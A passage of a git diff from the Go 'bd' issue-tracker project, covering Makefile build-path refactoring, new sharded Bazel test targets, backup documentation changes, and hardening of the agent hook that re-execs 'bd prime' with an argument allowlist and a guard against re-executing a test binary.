"io_opentelemetry_go_otel_exporters_stdout_stdouttrace", "io_opentelemetry_go_otel_metric", "io_opentelemetry_go_otel_sdk", "io_opentelemetry_go_otel_sdk_metric", "io_opentelemetry_go_otel_trace", "io_rsc_script", "land_charm_glamour_v2", "land_charm_huh_v2", "land_charm_lipgloss_v2", "org_golang_x_mod", "org_golang_x_net", "org_golang_x_sync", "org_golang_x_sys", "org_golang_x_term") # Hermetic Dolt CLI for tests (tools/bazel/dolt.bzl pins the release to # scripts/ci/install-dolt.sh). //tools/bazel:dolt selects the repository for diff --git a/Makefile b/Makefile index 5a2fa6149..ac0d9f0dd 100644 --- a/Makefile +++ b/Makefile @@ -52,6 +52,7 @@ endif all: build BUILD_DIR := . +BD_BUILD_OUTPUT := $(BUILD_DIR)/bd$(if $(filter Windows_NT,$(OS)),.exe) GIT_BUILD := $(shell git rev-parse --short HEAD) ifeq ($(OS),Windows_NT) INSTALL_DIR := $(USERPROFILE)/.local/bin @@ -104,21 +105,21 @@ build: ifeq ($(OS),Windows_NT) @if [ -n "$$CC" ]; then \ echo "Using CC=$$CC"; \ - go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd.exe ./cmd/bd; \ + go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd; \ elif command -v gcc >/dev/null 2>&1; then \ - CC=gcc go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd.exe ./cmd/bd; \ + CC=gcc go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd; \ elif command -v clang >/dev/null 2>&1 && clang -dumpmachine 2>/dev/null | grep -qi 'windows.*gnu'; then \ - CC=clang go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd.exe ./cmd/bd; \ + CC=clang go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd; \ else \ for bin in $(WINDOWS_CGO_BINS); do \ if [ -x "$$bin/gcc.exe" ]; then \ echo "Using Windows CGO gcc from $$bin"; \ - PATH="$$bin:$$PATH" CC=gcc go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd.exe ./cmd/bd; \ + PATH="$$bin:$$PATH" CC=gcc go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd; \ exit $$?; \ fi; \ if [ -x "$$bin/clang.exe" ] && "$$bin/clang.exe" -dumpmachine 2>/dev/null | grep -qi 'windows.*gnu'; then \ echo "Using Windows CGO clang from $$bin"; \ - PATH="$$bin:$$PATH" CC=clang go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd.exe ./cmd/bd; \ + PATH="$$bin:$$PATH" CC=clang go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd; \ exit $$?; \ fi; \ done; \ @@ -128,9 +129,9 @@ ifeq ($(OS),Windows_NT) exit 1; \ fi else - go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd ./cmd/bd + go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BD_BUILD_OUTPUT)" ./cmd/bd ifeq ($(shell uname),Darwin) - @codesign -s - -f $(BUILD_DIR)/bd 2>/dev/null || true + @codesign -s - -f "$(BD_BUILD_OUTPUT)" 2>/dev/null || true @echo "Signed bd for macOS" endif endif @@ -264,7 +265,7 @@ test-regression: # Override version: ./scripts/upgrade-smoke-test.sh v0.62.0 test-upgrade: build @echo "Running upgrade smoke tests..." - @CANDIDATE_BIN=./bd ./scripts/upgrade-smoke-test.sh + @CANDIDATE_BIN="$(BD_BUILD_OUTPUT)" ./scripts/upgrade-smoke-test.sh # Run cross-version smoke tests (last 30 tags → candidate). @@ -273,14 +274,14 @@ test-upgrade: build # All from v0.30.0: ./scripts/cross-version-smoke-test.sh --from v0.30.0 test-cross-version: build @echo "Running cross-version smoke tests..." - @CANDIDATE_BIN=./bd ./scripts/cross-version-smoke-test.sh + @CANDIDATE_BIN="$(BD_BUILD_OUTPUT)" ./scripts/cross-version-smoke-test.sh # Run the authenticated historical upgrade corpus with strict fidelity checks. # All qualified versions: ./scripts/migration-test/run.sh # Single version: ./scripts/migration-test/run.sh --version v0.49.6 test-migration: build @echo "Running migration test harness..." - @CANDIDATE_BIN=./bd ./scripts/migration-test/run.sh + @CANDIDATE_BIN="$(BD_BUILD_OUTPUT)" ./scripts/migration-test/run.sh # Regenerate the golden-JSON contract corpus (cmd/bd/protocol/testdata/corpus/). # Run after any deliberate bd --json wire change; review the diff, then commit. @@ -351,10 +352,10 @@ install install-force: build @mkdir -p "$(INSTALL_DIR)" ifeq ($(OS),Windows_NT) @rm -f "$(INSTALL_DIR)/bd" "$(INSTALL_DIR)/bd.exe" - @cp "$(BUILD_DIR)/bd.exe" "$(INSTALL_DIR)/bd.exe" + @cp "$(BD_BUILD_OUTPUT)" "$(INSTALL_DIR)/bd.exe" @echo "Installed bd.exe to $(INSTALL_DIR)/bd.exe" else - @cp "$(BUILD_DIR)/bd" "$(INSTALL_DIR)/.bd.install.tmp.$$$$" && mv -f "$(INSTALL_DIR)/.bd.install.tmp.$$$$" "$(INSTALL_DIR)/bd" + @cp "$(BD_BUILD_OUTPUT)" "$(INSTALL_DIR)/.bd.install.tmp.$$$$" && mv -f "$(INSTALL_DIR)/.bd.install.tmp.$$$$" "$(INSTALL_DIR)/bd" @echo "Installed bd to $(INSTALL_DIR)/bd" @ln -sfn bd "$(INSTALL_DIR)/.beads.install.tmp.$$$$" && mv -f "$(INSTALL_DIR)/.beads.install.tmp.$$$$" "$(INSTALL_DIR)/beads" @echo "Created 'beads' alias -> bd" @@ -376,7 +377,7 @@ fmt-check: # Validate documentation references against actual CLI flags check-docs: @echo "Building bd for docs checks..." - @CGO_ENABLED=0 go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o $(BUILD_DIR)/bd ./cmd/bd + @CGO_ENABLED=0 go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BUILD_DIR)/bd" ./cmd/bd @./scripts/check-doc-flags.sh ./bd @./scripts/check-doc-freshness.sh @go test -tags=gms_pure_go ./test/docsync diff --git a/README.md b/README.md index 025cdc3e4..6bc34354f 100644 --- a/README.md +++ b/README.md @@ -53,7 +53,7 @@ This project uses bd (beads) for issue tracking. - Run `bd prime` for workflow context and command guidance. - Use `bd ready`, `bd show `, `bd update --claim`, and `bd close `. -- Use `bd remember "insight"` for persistent project memory; do not create MEMORY.md files. +- Use `bd remember "insight"` for durable project facts; keep per-operator preferences in your harness's own memory. - Do not use markdown TODO lists for task tracking. ``` diff --git a/beads_test.go b/beads_test.go index 3966bc034..2faaa3ce1 100644 --- a/beads_test.go +++ b/beads_test.go @@ -29,7 +29,9 @@ func testMainInner(m *testing.M) int { // AD-01 (be-c5p): allow root tests to connect to the test container. os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + return 1 + } } else { defer testutil.TerminateDoltContainer() testServerPort = testutil.DoltContainerPortInt() diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 07cdb4eb6..5e3d6b72d 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") # testdata/ holds the compilable preflight fixture below. Left to itself gazelle # would make testdata/ its own package, which empties this package's @@ -25,6 +26,7 @@ go_library( "backup_auto.go", "backup_dolt.go", "backup_export.go", + "backup_lock.go", "backup_proxied_server.go", "backup_restore.go", "batch.go", @@ -293,6 +295,7 @@ go_library( "show_display.go", "show_format.go", "show_proxied_server.go", + "show_proxied_watch.go", "show_refs.go", "show_thread.go", "show_unit_helpers.go", @@ -327,7 +330,6 @@ go_library( "todo_proxied_server.go", "tracker_store.go", "types.go", - "types_proxied_server.go", "unclaim.go", "unclaim_proxied_server.go", "undefer.go", @@ -413,6 +415,7 @@ go_library( "//internal/storage/issueops", "//internal/storage/kvkeys", "//internal/storage/schema", + "//internal/storage/sqlclass", "//internal/storage/uow", "//internal/storage/versioncontrolops", "//internal/telemetry", @@ -496,17 +499,22 @@ go_test( srcs = [ "aaa_stdio_baseline_test.go", "actor_test.go", + "ado_roundtrip_test.go", "ado_test.go", + "agent_hook_test.go", "assign_fence_embedded_test.go", "assign_fence_proxied_test.go", "auto_import_upgrade_test.go", "auto_import_upgrade_unit_test.go", "autocommit_embedded_test.go", "backend_registry_contract_test.go", + "backup_auto_proxied_local_integration_test.go", + "backup_auto_proxied_test.go", "backup_auto_test.go", "backup_dolt_test.go", "backup_embedded_test.go", "backup_export_failure_test.go", + "backup_lock_test.go", "backup_proxied_external_integration_test.go", "backup_proxied_local_integration_test.go", "backup_proxied_policy_test.go", @@ -533,8 +541,10 @@ go_test( "children_embedded_test.go", "children_test.go", "claim_pools_embedded_test.go", + "cli_fast_test.go", "close_embedded_test.go", "close_failure_report_test.go", + "close_fanin_proxied_integration_test.go", "close_gate_test.go", "close_last_touched_test.go", "close_proxied_integration_test.go", @@ -583,6 +593,7 @@ go_test( "context_proxied_integration_test.go", "context_test.go", "contributor_embedded_test.go", + "contributor_routing_e2e_test.go", "cook_qnt_test.go", "cook_test.go", "count_embedded_test.go", @@ -623,6 +634,7 @@ go_test( "delete_input_test.go", "delete_proxied_integration_test.go", "delete_proxied_server_output_test.go", + "delete_test.go", "dep_add_target_test.go", "dep_batch_test.go", "dep_bulk_role_test.go", @@ -644,6 +656,7 @@ go_test( "doctor_embedded_test.go", "doctor_fix_order_test.go", "doctor_fix_pending_migrations_test.go", + "doctor_health_integration_test.go", "doctor_health_smoke_test.go", "doctor_health_test.go", "doctor_init_diagnostics_cgo_test.go", @@ -655,19 +668,23 @@ go_test( "doctor_test.go", "doctor_validate_test.go", "dolt_autocommit_exemption_wiring_test.go", + "dolt_autocommit_integration_test.go", "dolt_autocommit_server_test.go", "dolt_autocommit_test.go", "dolt_autopush_test.go", + "dolt_autostart_lifecycle_integration_test.go", "dolt_clean_databases_purge_proxied_integration_test.go", "dolt_clean_databases_purge_test.go", "dolt_clean_databases_quote_test.go", "dolt_commit_proxied_integration_test.go", "dolt_commit_proxied_server_test.go", + "dolt_doctor_integration_test.go", "dolt_embedded_test.go", "dolt_help_auth_test.go", "dolt_lifecycle_proxied_server_test.go", "dolt_local_only_embedded_test.go", "dolt_local_only_test.go", + "dolt_metadata_e2e_test.go", "dolt_proxied_lifecycle_test.go", "dolt_remote_add_test.go", "dolt_remote_adopt_test.go", @@ -731,6 +748,7 @@ go_test( "gc_embedded_test.go", "gc_prune_test.go", "git_repo_template_test.go", + "gitlab_integration_test.go", "gitlab_test.go", "global_identity_integration_test.go", "gomodcache_rehome_test.go", @@ -749,6 +767,7 @@ go_test( "history_full_hash_test.go", "history_proxied_integration_test.go", "history_remote_frontdoor_matrix_test.go", + "hook_env_test.go", "hooks_embedded_test.go", "hooks_exec_composition_test.go", "hooks_export_staged_deletion_test.go", @@ -770,7 +789,9 @@ go_test( "import_embedded_test.go", "import_from_jsonl_test.go", "import_global_prefix_isolation_test.go", + "import_missing_config_prefix_test.go", "import_orphan_embedded_test.go", + "import_prefix_test.go", "import_promoted_wisp_embedded_test.go", "import_proxied_integration_test.go", "import_shared_unit_test.go", @@ -779,8 +800,10 @@ go_test( "info_kv_exclusion_test.go", "info_proxied_integration_test.go", "info_test.go", + "init_cancel_e2e_test.go", "init_commit_test.go", "init_embedded_test.go", + "init_explicit_beads_dir_embedded_test.go", "init_gateway_test.go", "init_git_bootstrap_routing_test.go", "init_guard_test.go", @@ -817,8 +840,11 @@ go_test( "last_touched_test.go", "legacy_upgrade_guard_config_yaml_test.go", "legacy_upgrade_guard_e2e_test.go", + "legacy_upgrade_guard_empty_root_test.go", + "legacy_upgrade_guard_external_server_test.go", "legacy_upgrade_guard_test.go", "legacy_upgrade_guard_witness_test.go", + "linear_roundtrip_test.go", "linear_test.go", "lint_embedded_test.go", "lint_stale_proxied_integration_test.go", @@ -856,6 +882,7 @@ go_test( "metadata_ready_test.go", "metadataless_server_workspace_test.go", "metrics_test.go", + "migrate_dolt_mode_frontdoor_integration_test.go", "migrate_dolt_mode_test.go", "migrate_embedded_test.go", "migrate_force_test.go", @@ -917,6 +944,7 @@ go_test( "provenance_test.go", "proxied_direct_only_refusal_frontdoor_test.go", "proxied_integration_helpers_test.go", + "proxied_local_backend_exit_test.go", "proxied_local_dolt_lifecycle_test.go", "proxied_local_helpers_test.go", "proxied_local_identity_lifecycle_linux_test.go", @@ -966,10 +994,12 @@ go_test( "rename_prefix_rewrite_test.go", "rename_prefix_test.go", "rename_prefix_worktree_test.go", + "reopen_defer_test.go", "reopen_embedded_test.go", "reopen_proxied_integration_test.go", "reopen_test.go", "repair_deps_test.go", + "reparent_test.go", "reset_global_guard_test.go", "reset_hook_ownership_test.go", "reset_worktree_test.go", @@ -987,6 +1017,7 @@ go_test( "search_embedded_test.go", "search_proxied_integration_test.go", "search_test.go", + "send_metrics_diagnostics_test.go", "serve_batch_close_proxied_integration_test.go", "serve_claim_next_proxied_integration_test.go", "serve_claim_proxied_integration_test.go", @@ -1028,7 +1059,10 @@ go_test( "show_not_found_hint_test.go", "show_proxied_integration_test.go", "show_proxied_reader_test.go", + "show_proxied_watch_integration_test.go", + "show_test.go", "show_unit_helpers_test.go", + "show_watch_loop_test.go", "show_watch_test.go", "simple_helpers_test.go", "skip_store_annotation_test.go", @@ -1073,6 +1107,7 @@ go_test( "telemetry_scrub_test.go", "template_test.go", "test_dolt_server_cgo_test.go", + "test_helpers_integration_test.go", "test_helpers_pure_test.go", "test_helpers_test.go", "test_repo_beads_guard_darwin_test.go", @@ -1084,6 +1119,8 @@ go_test( "todo_embedded_test.go", "tracker_frontdoor_proxy_test.go", "tracker_proxy_uow_conformance_integration_test.go", + "types_builtin_test.go", + "types_create_agreement_test.go", "types_embedded_test.go", "unclaim_conditional_embedded_test.go", "unclaim_conditional_parity_test.go", @@ -1268,6 +1305,106 @@ go_test( }), ) +# bd_test as PR Risk's "Test (Embedded Dolt Cmd N/20)" jobs run it: shard k +# runs .github/scripts/embedded-test-shard.sh k 20 (the TestEmbedded* functions +# of *_embedded_test.go, assigned by the committed manifest) against this +# configuration's bd_test, with BEADS_TEST_EMBEDDED_DOLT=1 and the race bd +# (//cmd/bd:bd under --config=embedded) as the subprocess binary, like the +# jobs' /tmp/bd-embedded-test. It repeats bd_test's `env` (the wrapper cannot +# inherit it). shard_count must stay equal to the manifest's shard total. +# +# Tags: +# embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, +# selected by --config=embedded. +sh_test( + name = "bd_embedded_test", + size = "large", + # The script gives the binary the job's -test.timeout=20m, as long as + # Bazel's 1200s action limit (eternal under --config=embedded), which + # starts earlier and kills without a goroutine dump (rules_go's wrapper + # ignores the SIGTERM). The trailing -test.timeout=19m overrides it (the + # last flag wins) so Go's own timeout fires first and dumps to test.log. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_manifest_shard.sh"], + args = [ + "$(rootpath //:.github/scripts/embedded-test-shard.sh)", + "BEADS_TEST_CMD_BINARY", + "$(rootpath :bd_test)", + "-test.timeout=19m", + ], + data = [ + ":bd", + ":bd_test", + ":go_srcs", + "//:.github/scripts/embedded-cmd-test-shards.txt", + "//:.github/scripts/embedded-test-shard.sh", + "@go_sdk//:bin/gofmt", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", + "BEADS_TEST_EMBEDDED_DOLT": "1", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + }, + shard_count = 20, + tags = ["embedded"], +) + +# bd_test as PR Risk's "Test (Proxied Dolt Cmd N/15)" jobs run it: shard k +# runs .github/scripts/proxied-test-shard.sh k+1 15 (the TestProxiedServer* +# functions, assigned by the committed manifest) against this configuration's +# (race) bd_test with BEADS_TEST_PROXIED_SERVER=1 and the non-race +# bd_for_tests as the subprocess binary, like the jobs' /tmp/bd-cmd-test and +# /tmp/bd-proxied. (main.yml's twin job runs the same shard script against +# build-artifacts' non-race bd-cmd-test; race here is the stricter one.) +# The shared proxied harness gets its dolt sql-server from +# internal/testutil's local backend (the pinned dolt in the test wrapper's +# runfiles) instead of the jobs' container, and fails instead of skipping +# when it cannot start one. It repeats bd_test's `env`. shard_count must +# stay equal to the manifest's shard total. +# +# Tags: +# dolt-server-proxied: the proxied-server tier; starts hermetic dolt +# sql-servers; excluded from --config=prcore/ci, selected by +# --config=doltserver-proxied. +sh_test( + name = "bd_proxied_test", + size = "large", + # The script's -test.timeout=15m fires (with a goroutine dump) before + # Bazel's 1200s action limit (eternal under the lane's --test_timeout). + timeout = "eternal", + srcs = ["//tools/bazel:go_test_manifest_shard.sh"], + args = [ + "$(rootpath //:.github/scripts/proxied-test-shard.sh)", + "BEADS_TEST_CMD_BINARY", + "$(rootpath :bd_test)", + ], + data = [ + ":bd_for_tests", + ":bd_test", + ":go_srcs", + "//:.github/scripts/proxied-cmd-test-shards.txt", + "//:.github/scripts/proxied-test-shard.sh", + "@go_sdk//:bin/gofmt", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "local", + # The jobs' "Configure Git and Dolt identity" global git identity + # (tools/bazel/test_env.sh). + "BEADS_TEST_GIT_IDENTITY": "1", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + "BEADS_TEST_PROXIED_SERVER": "1", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + # The 4-vCPU runner shape: -test.parallel defaults to GOMAXPROCS, and + # the job runs 4 tests at once, not one per worker core (39 + # concurrent `bd init --proxied-server` against one server hung a + # 192-core worker). + "GOMAXPROCS": "4", + }, + shard_count = 15, + tags = ["dolt-server-proxied"], +) + # CLI flag registrations pinned by //internal/httpapi spec parity tests. exports_files( [ diff --git a/cmd/bd/agent_hook.go b/cmd/bd/agent_hook.go index 9cb3a0cb6..f37684e9c 100644 --- a/cmd/bd/agent_hook.go +++ b/cmd/bd/agent_hook.go @@ -4,11 +4,13 @@ import ( "context" "crypto/sha256" "encoding/hex" + "errors" "fmt" "os" "os/exec" "path/filepath" "strings" + "testing" ) // Shared helpers for the agent lifecycle hook commands (codex-hook, cursor-hook). @@ -16,17 +18,113 @@ import ( // the prime-runner and one-shot refresh-marker mechanics are identical and live // here to avoid divergence. +// allowedPrimeArgs is the closed set of flags the agent hooks may pass to the +// re-executed bd binary. The hooks only ever run the fixed `bd prime` +// invocation (optionally --memories-only); anything else is a programming +// error and is refused before the subprocess is built. +var allowedPrimeArgs = map[string]bool{"--memories-only": true} + +// errPrimeTestBinary is returned by resolvePrimeExecutable when the running +// binary is a test binary. Mirrors doctor/fix's ErrTestBinary: re-execing a +// test binary with `prime` fork-bombs the suite. +var errPrimeTestBinary = errors.New("running as test binary - cannot re-exec bd") + +// primeExecutable resolves the re-exec target for runBdPrime. A var so tests +// can stub resolution and prove no subprocess is ever built from unexpected +// input. +var primeExecutable = resolvePrimeExecutable + +// resolvePrimeExecutable is the production re-exec resolver. It restates +// getBdBinary (cmd/bd/doctor/fix/common.go), the repo's existing answer to "bd +// re-invokes bd": prefer the running binary, resolve symlinks so every re-exec +// site agrees on one path, refuse a test binary so an unstubbed test call +// fails loudly instead of fork-bombing, and fall back to a validated PATH +// lookup when the running binary cannot be resolved. getBdBinary is +// package-private to doctor/fix, so this restates the precedent rather than +// reusing it. +// +// One trade-off is kept deliberately, and it is narrower than it looks. Linux +// reports an unlinked image with a " (deleted)" suffix, but os.Executable +// strips that suffix (os/executable_procfs.go), so no "(deleted)" path ever +// reaches this resolver: a bd replaced in place mid-session (an ordinary +// `go install ./cmd/bd`) still resolves to its own path, EvalSymlinks succeeds +// against the new file, and the re-exec runs the replacement. The residual gap +// is a bd deleted without being replaced: EvalSymlinks fails, that failure is +// tolerated so the stale path is kept, and the PATH fallback is correctly not +// taken because os.Executable itself returned no error. Accepted: the target is +// PATH-independent because it contains a path separator (exec.Command calls +// LookPath only when filepath.Base(name) == name), and both hook handlers treat +// a prime failure as non-fatal, so the effect is a session primed without +// context. +func resolvePrimeExecutable() (string, error) { + exe, err := os.Executable() + if err == nil { + if resolved, linkErr := filepath.EvalSymlinks(exe); linkErr == nil { + exe = resolved + } + // testing.Testing() is the authoritative signal and must come first: + // rules_go links test binaries as _test (cmd/bd's is bd_test), + // which no ".test" name check can see, so under the Bazel lane the + // name checks alone would let an unstubbed call re-exec the test + // binary. The name checks remain for binaries built with `go test -c` + // and run outside the harness. Mirrors doctor/fix's isTestBinary. + base := filepath.Base(exe) + if testing.Testing() || strings.HasSuffix(base, ".test") || strings.Contains(base, ".test.") { + return "", errPrimeTestBinary + } + return exe, nil + } + + bdPath, lookErr := exec.LookPath("bd") + if lookErr != nil { + return "", fmt.Errorf("bd binary not found in PATH: %w", lookErr) + } + return bdPath, nil +} + +// validatePrimeArgs rejects any argument outside allowedPrimeArgs so the +// re-exec below can never be steered by caller-supplied strings. +func validatePrimeArgs(args []string) error { + for _, arg := range args { + if !allowedPrimeArgs[arg] { + return fmt.Errorf("bd prime: unsupported hook argument %q", arg) + } + } + return nil +} + +// primeCommand validates args, resolves the re-exec target, and builds the +// `bd prime [args...]` command without running it. Split out from runBdPrime +// so a test can assert the exec target and argv — the thing this seam exists +// to guarantee — without launching a subprocess. +func primeCommand(ctx context.Context, args ...string) (*exec.Cmd, error) { + if err := validatePrimeArgs(args); err != nil { + return nil, err + } + exe, err := primeExecutable() + if err != nil { + return nil, fmt.Errorf("bd prime: resolve executable: %w", err) + } + cmdArgs := append([]string{"prime"}, args...) + // #nosec G204 - exe comes from primeExecutable (resolvePrimeExecutable in + // production: this bd binary re-invoking itself); cmdArgs is the fixed + // "prime" subcommand plus allowlisted internal flags, never + // attacker-controlled input. Documentation only: .golangci.yml excludes + // G204 repo-wide, so this annotation is not what keeps lint green. + return exec.CommandContext(ctx, exe, cmdArgs...), nil +} + // runBdPrime shells out to `bd prime [args...]` and returns its combined output. // The hooks exec a subprocess (rather than calling prime in process) to avoid // re-entrant store initialization. func runBdPrime(ctx context.Context, args ...string) (string, error) { - cmdArgs := append([]string{"prime"}, args...) - // #nosec G702 - os.Args[0] is this bd binary re-invoking itself; cmdArgs is the - // fixed "prime" subcommand plus internal flags, never attacker-controlled input. - cmd := exec.CommandContext(ctx, os.Args[0], cmdArgs...) + cmd, err := primeCommand(ctx, args...) + if err != nil { + return "", err + } out, err := cmd.CombinedOutput() if err != nil { - return "", fmt.Errorf("bd %s: %w: %s", strings.Join(cmdArgs, " "), err, strings.TrimSpace(string(out))) + return "", fmt.Errorf("bd %s: %w: %s", strings.Join(cmd.Args[1:], " "), err, strings.TrimSpace(string(out))) } return string(out), nil } diff --git a/cmd/bd/agent_hook_test.go b/cmd/bd/agent_hook_test.go new file mode 100644 index 000000000..3c1d361a1 --- /dev/null +++ b/cmd/bd/agent_hook_test.go @@ -0,0 +1,131 @@ +package main + +import ( + "context" + "errors" + "slices" + "strings" + "testing" +) + +func TestValidatePrimeArgsAcceptsHookFlags(t *testing.T) { + if err := validatePrimeArgs(nil); err != nil { + t.Fatalf("no args should be allowed, got %v", err) + } + if err := validatePrimeArgs([]string{"--memories-only"}); err != nil { + t.Fatalf("--memories-only should be allowed, got %v", err) + } +} + +func TestValidatePrimeArgsRejectsUnknownFlag(t *testing.T) { + err := validatePrimeArgs([]string{"--config"}) + if err == nil { + t.Fatal("expected unknown flag to be rejected") + } + if !strings.Contains(err.Error(), `"--config"`) { + t.Fatalf("rejection should name the offending argument, got: %v", err) + } +} + +// runBdPrime must refuse non-allowlisted arguments before it resolves the +// executable or builds a subprocess. The resolver is stubbed so the test also +// proves validation runs first — if a future change drops or reorders the +// validatePrimeArgs call, the resolver (and with it the subprocess) would be +// reached and this test fails instead of live-exec'ing anything. +func TestRunBdPrimeRejectsUnknownArgsBeforeExec(t *testing.T) { + called := false + orig := primeExecutable + primeExecutable = func() (string, error) { + called = true + return "", errors.New("resolver must not run for rejected args") + } + t.Cleanup(func() { primeExecutable = orig }) + + _, err := runBdPrime(context.Background(), "--config") + if err == nil { + t.Fatal("expected runBdPrime to reject unknown args") + } + if !strings.Contains(err.Error(), `"--config"`) { + t.Fatalf("rejection should name the offending argument, got: %v", err) + } + if called { + t.Fatal("executable resolver ran before argument validation") + } +} + +// With allowlisted args, a resolver failure surfaces as the wrapped +// resolve-executable error and no subprocess is built. +func TestRunBdPrimeExecutableResolutionError(t *testing.T) { + orig := primeExecutable + primeExecutable = func() (string, error) { + return "", errors.New("no executable") + } + t.Cleanup(func() { primeExecutable = orig }) + + _, err := runBdPrime(context.Background()) + if err == nil || !strings.Contains(err.Error(), "resolve executable") { + t.Fatalf("want resolve-executable error, got: %v", err) + } +} + +// The point of the seam: the command must be built from the *resolved* +// executable, not from os.Args[0]. primeCommand builds without running, so +// this asserts the exec target and the full argv directly. The sentinel +// deliberately contains a path separator — exec.Command only skips LookPath +// for names that do, so a bare name would leave cmd.Path host-PATH-dependent +// and set cmd.Err, making the assertion vacuous. +func TestPrimeCommandUsesResolvedExecutable(t *testing.T) { + const sentinel = "/tmp/beads-prime-sentinel-bd" + + orig := primeExecutable + primeExecutable = func() (string, error) { return sentinel, nil } + t.Cleanup(func() { primeExecutable = orig }) + + cmd, err := primeCommand(context.Background(), "--memories-only") + if err != nil { + t.Fatalf("primeCommand with allowlisted args: %v", err) + } + if cmd.Err != nil { + t.Fatalf("separator-containing sentinel should build cleanly, got cmd.Err=%v", cmd.Err) + } + if cmd.Path != sentinel { + t.Fatalf("exec target should be the resolved executable %q, got %q", sentinel, cmd.Path) + } + want := []string{sentinel, "prime", "--memories-only"} + if !slices.Equal(cmd.Args, want) { + t.Fatalf("argv should be %q, got %q", want, cmd.Args) + } +} + +// primeCommand refuses non-allowlisted args before resolving, and returns no +// command to run. +func TestPrimeCommandRejectsUnknownArgs(t *testing.T) { + orig := primeExecutable + primeExecutable = func() (string, error) { + return "", errors.New("resolver must not run for rejected args") + } + t.Cleanup(func() { primeExecutable = orig }) + + cmd, err := primeCommand(context.Background(), "--config") + if err == nil { + t.Fatal("expected primeCommand to reject unknown args") + } + if cmd != nil { + t.Fatalf("rejected args must not yield a command, got %v", cmd.Args) + } +} + +// The production resolver refuses a test binary rather than handing back a +// path whose re-exec would fork-bomb the suite — the guard doctor/fix's +// getBdBinary pairs with os.Executable. Under `go test` the running binary is +// the package test binary, so this exercises the refusal directly, the same +// way cmd/bd/doctor/fix's own suites assert ErrTestBinary. +func TestResolvePrimeExecutableRefusesTestBinary(t *testing.T) { + path, err := resolvePrimeExecutable() + if !errors.Is(err, errPrimeTestBinary) { + t.Fatalf("want errPrimeTestBinary under go test, got path=%q err=%v", path, err) + } + if path != "" { + t.Fatalf("refusal must not return a path, got %q", path) + } +} diff --git a/cmd/bd/backup.go b/cmd/bd/backup.go index 270536bcf..0e8e02fcc 100644 --- a/cmd/bd/backup.go +++ b/cmd/bd/backup.go @@ -42,10 +42,10 @@ Auto-backup default: coordinate destinations). 'bd config get backup.enabled' shows the effective value and its source. - On a proxied-server workspace that opt-in does not apply: auto-backup has - no post-command hook on that path, so backup.enabled=true is inert there. - The five backup verbs above are honored on a managed-local proxied server — - run 'bd backup sync' explicitly to back one up.`, + A proxied-server workspace is server mode too: auto-backup is OFF by + default and backup.enabled=true opts in. Both the opt-in and the five + backup verbs above are honored only on a managed-local proxied server — + one bd started itself; on a Dolt server bd does not own they are refused.`, GroupID: "sync", } diff --git a/cmd/bd/backup_auto.go b/cmd/bd/backup_auto.go index 8974439e2..988c0dcfb 100644 --- a/cmd/bd/backup_auto.go +++ b/cmd/bd/backup_auto.go @@ -2,6 +2,7 @@ package main import ( "context" + "errors" "fmt" "os" "strings" @@ -46,28 +47,21 @@ func isBackupAutoEnabled() bool { // already computed so the note cannot disagree with the number beside // it — and so status does not re-run the git-remote probe. // -// The note narrates the reason the decision actually used. Proxied-server -// is checked first and ignores the config source, because on that topology -// auto-backup cannot run at all whatever backup.enabled says: the proxied -// arm of PersistentPostRunE never calls runPostRunAutoBackup (main.go), so -// an explicit backup.enabled=true is inert and reporting a bare -// "enabled=true" would send the operator away believing backups happen. -// The five backup verbs are honored on managed-local (the only proxied -// shape that reaches this line — every other one is refused by -// requireLocalProxiedBackup), so `bd backup sync` is the real answer there. -// -// Every other sql-server shape keeps its post-run hook, so there the -// default is merely off — the reason `bd config get backup.enabled` -// already reports for the same condition. Before this arm existed, status -// attributed that OFF to a missing git remote, which is untrue: server -// mode short-circuits isBackupAutoEnabled whether or not a remote exists. +// The note narrates the reason the decision actually used. An explicit +// backup.enabled needs no note: the source explains it, and every shape +// that reaches `bd backup status` honors it — including a managed-local +// proxied server, whose post-run arm runs auto-backup (every other proxied +// shape is refused by 